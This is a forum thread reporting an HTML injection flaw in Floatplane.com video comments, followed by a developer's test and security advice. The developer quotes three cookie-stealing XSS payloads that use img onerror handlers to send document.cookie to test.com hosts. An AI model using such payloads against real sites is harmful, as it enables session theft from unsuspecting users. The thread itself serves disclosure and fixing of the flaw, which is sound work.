Help XSS Vulnerability in FloatPlane.com (New Site)

[! Aidan]

 

I was able to get all HTML code, scripts etc to autorun on floatplane. I see this as a huge concern for people who are malicious and have different intent.

[! Aidan]

also if u didn't realize already, FLOATPLANE.COM IS UP!!! links to videos i messed around with: https://www.floatplane.com/video/dmXfe12Cl5

https://www.floatplane.com/video/XmeWGn24rW

https://www.floatplane.com/video/2g03wgqUr8

 

[! Aidan]

respond for a cookie

[AlTech]

@nicklmg @Slick

[Syntaxvgm]

luckily floatplane.media is better. 

[AlTech]

Just now, Syntaxvgm said:

luckily floatplane.media is better. 

lol. nice joke but seriously this needs to be sorted out.

[! Aidan]

4 minutes ago, Syntaxvgm said:

luckily floatplane.media is better. 

lmfao u made that domain just to redirect to ur profile. GG

[Syntaxvgm]

Just now, Aidan Dorfler said:

lmfao u made that domain just to redirect to ur profile. GG

made it a while ago. 

[! Aidan]

lets hope no one reads this and makes a cookie stealer

[Slick]

Thanks!

 

We fixed this stuff for live chat as that's been a focus for us but we'll be sure to apply the same stuff to comments as well

[captain_to_fire]

I wonder if there would be bug bounty programs in the future once the dedicated floatplane site is up. Hoping that it'll be patched soon.

[teddygala]

3 hours ago, AluminiumTech said:

@nicklmg @Slick

it's 4 am in Canada, jeez 

[AJJaxNet]

11 hours ago, Aidan Dorfler said:

 

I was able to get all HTML code, scripts etc to autorun on floatplane. I see this as a huge concern for people who are malicious and have different intent.

Yeah, we failed to sanitize the input on the backend side so we've disabled all HTML on the client app. But I wanted to add that we weren't really vulnerable to XSS because Angular would have refused to render <script> and <style> tags, preventing you from actually trying to do a <script>alert('Mouhahahahaha, I'm the king of this website!')</script> or anything that would actually be a security concern. 

Thank you for reporting this problem ^^ 

P.S: Next time, it would actually be a better idea to create your post in the Test Posts subforum and by tagging us or send us a PM if you find any security issues  

[! Aidan]

ok

[! Aidan]

3 hours ago, AJJaxNet said:

Yeah, we failed to sanitize the input on the backend side so we've disabled all HTML on the client app. But I wanted to add that we weren't really vulnerable to XSS because Angular would have refused to render <script> and <style> tags, preventing you from actually trying to do a <script>alert('Mouhahahahaha, I'm the king of this website!')</script> or anything that would actually be a security concern. 

Thank you for reporting this problem ^^ 

P.S: Next time, it would actually be a better idea to create your post in the Test Posts subforum and by tagging us or send us a PM if you find any security issues  

also, I know that it wasn't vulnerable to SCRIPT attacks, but the <img> tag DID work.... Which means you could get a website and steal the cookies that way. That's sadly how cookies work.

[! Aidan]

https://security.stackexchange.com/questions/49185/xss-cookie-stealing-without-redirecting-to-another-page is an example of what someone could have done.

[AJJaxNet]

2 hours ago, Aidan Dorfler said:

also, I know that it wasn't vulnerable to SCRIPT attacks, but the <img> tag DID work.... Which means you could get a website and steal the cookies that way. That's sadly how cookies work.

47 minutes ago, Aidan Dorfler said:

https://security.stackexchange.com/questions/49185/xss-cookie-stealing-without-redirecting-to-another-page is an example of what someone could have done.

In order to steal the cookies the way you described it, you need to be able to execute some javascript code on the client, and like I explained before, Angular will prevent this since it's a huge security risk to allow code execution from a request.

Just to make sure that my theory wasn't flawed, I rolled back the client app to test it out the way described in the stackexchange page : https://www.floatplane.com/video/dmXfe12Cl5

Here's all 3 comments that have code's injected to try and steal the cookies : 
 

{"id":"5a399e044b928df7473882d8","user":"59f94c0bdd241b70349eb723","video":"dmXfe12Cl5","text":"<img src=x onerror=this.src='http://test.com/image.jpg?c='+document.cookie>","replying":null,"postDate":"2017-12-19T23:17:24.217Z","editDate":"2017-12-19T23:17:24.217Z","interactions":[],"replies":[],"hidden":0,"interactionCounts":{"like":0,"dislike":0}},
{"id":"5a399d9a4b928df7473882d7","user":"59f94c0bdd241b70349eb723","video":"dmXfe12Cl5","text":"<img src=x onerror=this.src='http://test.test.com/?c='+document.cookie>","replying":null,"postDate":"2017-12-19T23:15:38.346Z","editDate":"2017-12-19T23:15:38.346Z","interactions":[],"replies":[],"hidden":0,"interactionCounts":{"like":0,"dislike":0}},
{"id":"5a399d34a728aad8338a176d","user":"59f94c0bdd241b70349eb723","video":"dmXfe12Cl5","text":"<img src=\"https://test.test.com/test.jpg?c=' + document.cookie + '\" />","replying":null,"postDate":"2017-12-19T23:13:56.708Z","editDate":"2017-12-19T23:13:56.708Z","interactions":[],"replies":[],"hidden":0,"interactionCounts":{"like":0,"dislike":0}}

If I check the request from the browser, I get :
 

https://www.floatplane.com/x
https://test.test.com/test.jpg?c=%27%20+%20document.cookie%20+%20%27

No cookie actually got into the URL since the javascript code never got interpreted.

[! Aidan]

1 minute ago, AJJaxNet said:

In order to steal the cookie the way you described it, you need to be able to execute some javascript code on the client, and like I explained before, Angular will prevent this since it's a huge security risk to allow code execution from a request.

Just to make sure that my theory wasn't flawed, I rolled back the client app to test it out the way described in the stackexchange page : https://www.floatplane.com/video/dmXfe12Cl5

Here's all 3 comments that have code's injected to try and steal the cookies : 
 

{"id":"5a399e044b928df7473882d8","user":"59f94c0bdd241b70349eb723","video":"dmXfe12Cl5","text":"<img src=x onerror=this.src='http://test.com/image.jpg?c='+document.cookie>","replying":null,"postDate":"2017-12-19T23:17:24.217Z","editDate":"2017-12-19T23:17:24.217Z","interactions":[],"replies":[],"hidden":0,"interactionCounts":{"like":0,"dislike":0}},
{"id":"5a399d9a4b928df7473882d7","user":"59f94c0bdd241b70349eb723","video":"dmXfe12Cl5","text":"<img src=x onerror=this.src='http://test.test.com/?c='+document.cookie>","replying":null,"postDate":"2017-12-19T23:15:38.346Z","editDate":"2017-12-19T23:15:38.346Z","interactions":[],"replies":[],"hidden":0,"interactionCounts":{"like":0,"dislike":0}},
{"id":"5a399d34a728aad8338a176d","user":"59f94c0bdd241b70349eb723","video":"dmXfe12Cl5","text":"<img src=\"https://test.test.com/test.jpg?c=' + document.cookie + '\" />","replying":null,"postDate":"2017-12-19T23:13:56.708Z","editDate":"2017-12-19T23:13:56.708Z","interactions":[],"replies":[],"hidden":0,"interactionCounts":{"like":0,"dislike":0}}

If I check the request from the browser, I get :
 

https://www.floatplane.com/x
https://test.test.com/test.jpg?c=%27%20+%20document.cookie%20+%20%27

No cookie actually got into the URL since the javascript code never got interpreted.

oh ok, good to know. Well, thanks for looking into this.

[iNyx]

Just a side note, you cannot access the website's cookie via document.cookie because it has the HttpOnly flag, it's not even possible via executing it directly with your console while you're on the site. (some cookies are visible, the one that actually matter is "sails.sid").

 

However, it's possible to still hijack the session by doing actual requests with XSS imitating the client webapp and this can be easily avoided with CRSF tokens.

Anyways, Angular does sanitize scripts tags while rendering a template (like any other major framework).

 

A recommendation is to add extra common security HTTP headers, since the site uses Sails this is a nice and simple middleware that supports connect/express (sails is compatible with express). Also... or maybe a CSP policy (the HTML5 metatag that can be a pain in the ass to configure it)

 

PD: Sorry, I know it's still a very alpha site. It's just a reminder